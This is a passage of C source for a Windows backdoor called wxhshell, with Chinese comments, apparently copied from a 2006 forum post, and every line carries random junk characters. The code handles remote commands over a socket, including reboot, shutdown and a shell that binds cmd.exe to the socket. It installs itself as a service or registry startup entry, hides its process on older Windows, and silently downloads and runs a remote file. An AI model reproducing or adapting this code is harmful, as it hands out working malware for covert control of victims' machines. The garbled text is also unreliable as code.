  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pmi#TW3X  
  else /~4 "No@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %!ebO*8q  
  } &rDM<pO #-  
  else {  -C#PQV  
n;R#,!<P  
    switch(cmd[0]) { GRy-+#,b"  
  7FN<iI&7\  
  // 帮助 pj?XLiM54%  
  case '?': { 1Y_w5dU  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "^I mb,  
    break; Nr2C@FU:0  
  } RFh"&0[  
  // 安装 rQTr8DYH  
  case 'i': { /yLZ/<WN  
    if(Install()) 6 \B0^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @DW[Z`X  
    else OL7_'2_z.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~lEVXea!  
    break; %AF5=  
    } ,wKe fpV;5  
  // 卸载 "l={)=R  
  case 'r': { va f&X]p  
    if(Uninstall()) )'l*Tl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A?G IBjs  
    else 4`#F^2r!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vi@Lz3}::  
    break; )m3q2W  
    } &;LqF#ZL  
  // 显示 wxhshell 所在路径 I *c;H I  
  case 'p': { 0'&X T^"  
    char svExeFile[MAX_PATH];  n6F/Ac:  
    strcpy(svExeFile,"\n\r"); gBu1QviU  
      strcat(svExeFile,ExeFile); z9W`FBg  
        send(wsh,svExeFile,strlen(svExeFile),0); (BX83)  
    break; ~f|Z%&l|  
    } !h&g7do]Z  
  // 重启 1exl0]-  
  case 'b': { M>jtFP <S  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3Q/#T1@  
    if(Boot(REBOOT)) B*!WrB :s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4YZS"K'E  
    else { zb6ju]2  
    closesocket(wsh); O7']  
    ExitThread(0); {F&-7u0  
    } Qy#)Gxp  
    break; .@iFa3  
    } \qi|Js*{  
  // 关机 ]E3U J!!  
  case 'd': { qDWsvx]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); m?s}QGSka  
    if(Boot(SHUTDOWN)) # N~,F@t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w",? Bef  
    else { G ;?qWB,  
    closesocket(wsh);  Lw1T 4n  
    ExitThread(0); 4Z[V uQng  
    } K[ .JlIP  
    break; ,n2i@?NHZ  
    } -#-p1^v}  
  // 获取shell 4 !`bZ`_Bw  
  case 's': { \EbbkN:D  
    CmdShell(wsh); #G9 ad K5  
    closesocket(wsh); 57F%j3.|/  
    ExitThread(0); vUC!fIG  
    break; /R X1UQ.s  
  } O!D/|.Q#%  
  // 退出 u% 2<\:~j  
  case 'x': { `ir3YnT+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ql?^ B SqG  
    CloseIt(wsh); y0v]N  
    break; Oc9#e+_&  
    } 3`9{T>  
  // 离开 wHz?#MW 3L  
  case 'q': { /EwGW  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {>0V[c[~  
    closesocket(wsh); "Clz'J]{  
    WSACleanup(); 8 l/[(] &  
    exit(1); Dj-s5pAW  
    break; [%HIbw J  
        } ,]R8(bD)  
  } 3E} An%  
  } 8:ggECD  
us?&:L|!=  
  // 提示信息 ba@ax3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %IL6ix  
} kfC0zd+  
  } >KG E-Yzj  
4{9d#[KW  
  return; >5~7u\#9  
} ]T O/kl/  
`=tyN@VC  
// shell模块句柄 8YY|;\F)J~  
int CmdShell(SOCKET sock)  \d.F82  
{ Al)$An-  
STARTUPINFO si; TOl}U  
ZeroMemory(&si,sizeof(si)); YHxbDf dA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #nyv+x;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~#M d"3  
PROCESS_INFORMATION ProcessInfo; xu%'GZ,o9  
char cmdline[]="cmd"; KB{RU'?f|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); vnX  
  return 0; x_@i(oQ:_  
} gLj?Ys  
a7H0!9^h  
// 自身启动模式 eN0P9.eqM  
int StartFromService(void) _X5_ez^/=  
{ M%Ku5X6:/  
typedef struct 5''*UFIF1  
{ {}e^eJ  
  DWORD ExitStatus; Ru%|}sfd  
  DWORD PebBaseAddress; `ZHP1uQ<  
  DWORD AffinityMask; <v]9lw'  
  DWORD BasePriority; 4h 5_M8I  
  ULONG UniqueProcessId; \Z)1 ?fq  
  ULONG InheritedFromUniqueProcessId; Uv?'m&_  
}   PROCESS_BASIC_INFORMATION; {sN"( H4$  
lpQP"%q  
PROCNTQSIP NtQueryInformationProcess; TZ^LA L'8_  
aP~gaSx  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ph30'"[Z}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Qb^q+C)o]  
wN]J8Ir  
  HANDLE             hProcess; ;M v~yb3v  
  PROCESS_BASIC_INFORMATION pbi; {'3D1#SK  
,-*iCs<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jy$@a%FD  
  if(NULL == hInst ) return 0; ayp b  
5P^U_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _&{%Wc5W~F  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); D\L!F6taS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Yt1mB[&f^  
N} />rD  
  if (!NtQueryInformationProcess) return 0; 8q_0,>w%  
1/j$I~B   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T@+ClZi  
  if(!hProcess) return 0; 1 0N,?a  
B< ;==|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &a~=b,  
Jgx8-\ 8  
  CloseHandle(hProcess); &/F_*=VE  
P@ypk^v  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); tbj=~xYf  
if(hProcess==NULL) return 0; Z}Cqd?_')  
TnxKR$Hoh  
HMODULE hMod; 5rN _jC*U  
char procName[255]; 2RNrIU I2  
unsigned long cbNeeded; Ghv{'5w  
_\AUQ{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); nsJ:Osq|  
;x[pM_  
  CloseHandle(hProcess); ")\aJ8  
W}gVIfe  
if(strstr(procName,"services")) return 1; // 以服务启动 lJ/6-dP  
~Yk"Hos  
  return 0; // 注册表启动 +mWjBY  
} )LFD6\z1pl  
??xlA-E  
// 主模块 ?vbDB4  
int StartWxhshell(LPSTR lpCmdLine) 0<P(M:a  
{ g{ (@uzqG  
  SOCKET wsl; ?iz <  
BOOL val=TRUE; OhWC}s  
  int port=0; =y;@?=T  
  struct sockaddr_in door; 19y 0$e_V  
OXtBJYe  
  if(wscfg.ws_autoins) Install(); B3b,F#  
pDDG_4E>  
port=atoi(lpCmdLine); !RMS+Mm?  
h%b hrkD  
if(port<=0) port=wscfg.ws_port; fGO*% )  
g5}7y\  
  WSADATA data; FN{/.?w(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >ZCo 8aK  
9+VF<;Xw  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   FLbZ9pX}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Baq ~}B<  
  door.sin_family = AF_INET; [}k|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); & l^n4  
  door.sin_port = htons(port); BR3mAF  
-uR{X G. D  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mTd<2Hy  
closesocket(wsl);  # eEvF  
return 1; g~R/3cm4  
} [t}):}~F|  
2]Fu 1  
  if(listen(wsl,2) == INVALID_SOCKET) { 6Kht:WE  
closesocket(wsl); hmzair3X  
return 1; -Op@y2+c  
} ABiC9[Q0  
  Wxhshell(wsl); j;0ih_Z@4W  
  WSACleanup(); iPFL"v<#J  
M7 p8^NL  
return 0; wO.B~`y  
7 6*hc   
} \9jpCNdJ  
"'aqb~j^  
// 以NT服务方式启动 WB;J1TpM7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Gc}0]!nrW9  
{ 1Zq   
DWORD   status = 0; $~hdm$  
  DWORD   specificError = 0xfffffff; E3tj/4:L  
'}zT1F* p=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *^6k[3VY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; J[+Tj @n'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; TAAR'Jz S  
  serviceStatus.dwWin32ExitCode     = 0; >C^/,/%v  
  serviceStatus.dwServiceSpecificExitCode = 0; 0# UAjT3  
  serviceStatus.dwCheckPoint       = 0; P%jkKE?B4  
  serviceStatus.dwWaitHint       = 0; ?1DUNZ6  
wz@/5c/u  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +9~ZA3DiP  
  if (hServiceStatusHandle==0) return; |0DP} `~  
pP oxVvG{  
status = GetLastError(); qa;EI ;8  
  if (status!=NO_ERROR) Xa*?<(^`  
{ 'Aet{A=9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,*w>z  
    serviceStatus.dwCheckPoint       = 0; Jmy)J!ib*  
    serviceStatus.dwWaitHint       = 0; C&oxi$J:p+  
    serviceStatus.dwWin32ExitCode     = status; V%o#AfMI_  
    serviceStatus.dwServiceSpecificExitCode = specificError; u= l0f6W  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "?+UI   
    return; PIpWa$b  
  } C&FN#B  
ZU^Q1}</5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; A ' )(SGSc  
  serviceStatus.dwCheckPoint       = 0; 5 2fO)!  
  serviceStatus.dwWaitHint       = 0; Nq  U9/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =_pmy>_z  
} .Wh6(LDY(  
Q%$i@JH`m  
// 处理NT服务事件,比如:启动、停止 M3PVixli3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }kv)IJ  
{ Tu'E{Hw  
switch(fdwControl) "1CGO@AXS  
{ R>` ih&,)  
case SERVICE_CONTROL_STOP: 8|Q4-VK<!  
  serviceStatus.dwWin32ExitCode = 0; 5bF5~D(E  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; JN)"2}SE  
  serviceStatus.dwCheckPoint   = 0; B ;;cbY  
  serviceStatus.dwWaitHint     = 0; n<+~ zQ  
  { +:b(%|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LP8o7%sv!  
  } p0?o<AA%O  
  return; AV9:O{  
case SERVICE_CONTROL_PAUSE: P)4x   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 89ZDOji?O  
  break; XuA0.b%  
case SERVICE_CONTROL_CONTINUE: e ^-3etx  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ul}4p{ m[  
  break; ^Y#@$c  
case SERVICE_CONTROL_INTERROGATE: tvK rc  
  break; J1& A,Gb  
}; kS[Dy$AB/2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \(wn@/yP'  
} y K=S!7p\  
|\rSa^:5  
// 标准应用程序主函数 /;[}=JL<Q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }q/(D?  
{ pEJ#ad  
=nw,*q +  
// 获取操作系统版本 YcEtgpz@  
OsIsNt=GetOsVer(); }isCv b  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 55(J&q  
WNl&v]   
  // 从命令行安装 Ae3,W  
  if(strpbrk(lpCmdLine,"iI")) Install(); Am]2@ESUP  
<[esA9.]t  
  // 下载执行文件 G!-7ic_4  
if(wscfg.ws_downexe) { Hs.6;|0%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r=xTs,xx  
  WinExec(wscfg.ws_filenam,SW_HIDE); M P_A<F  
} |2[S/8g!  
)Fw @afE~  
if(!OsIsNt) { Dg1kbO=2  
// 如果时win9x,隐藏进程并且设置为注册表启动 nmTm(?yE  
HideProc(); Q|6Ls$'$  
StartWxhshell(lpCmdLine); =I %g;YK  
} z0=Rp0_W  
else >2 FAi.,  
  if(StartFromService()) +.XZK3  
  // 以服务方式启动 Ks9FnDm8  
  StartServiceCtrlDispatcher(DispatchTable); #_JA5W+E  
else Qd 9-u)L<  
  // 普通方式启动 +"TI_tK, S  
  StartWxhshell(lpCmdLine); M9g~lKs'  
cH+h=E=  
return 0; .G7]&5s  
}
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只看该作者 1 发表于: 2006-10-10
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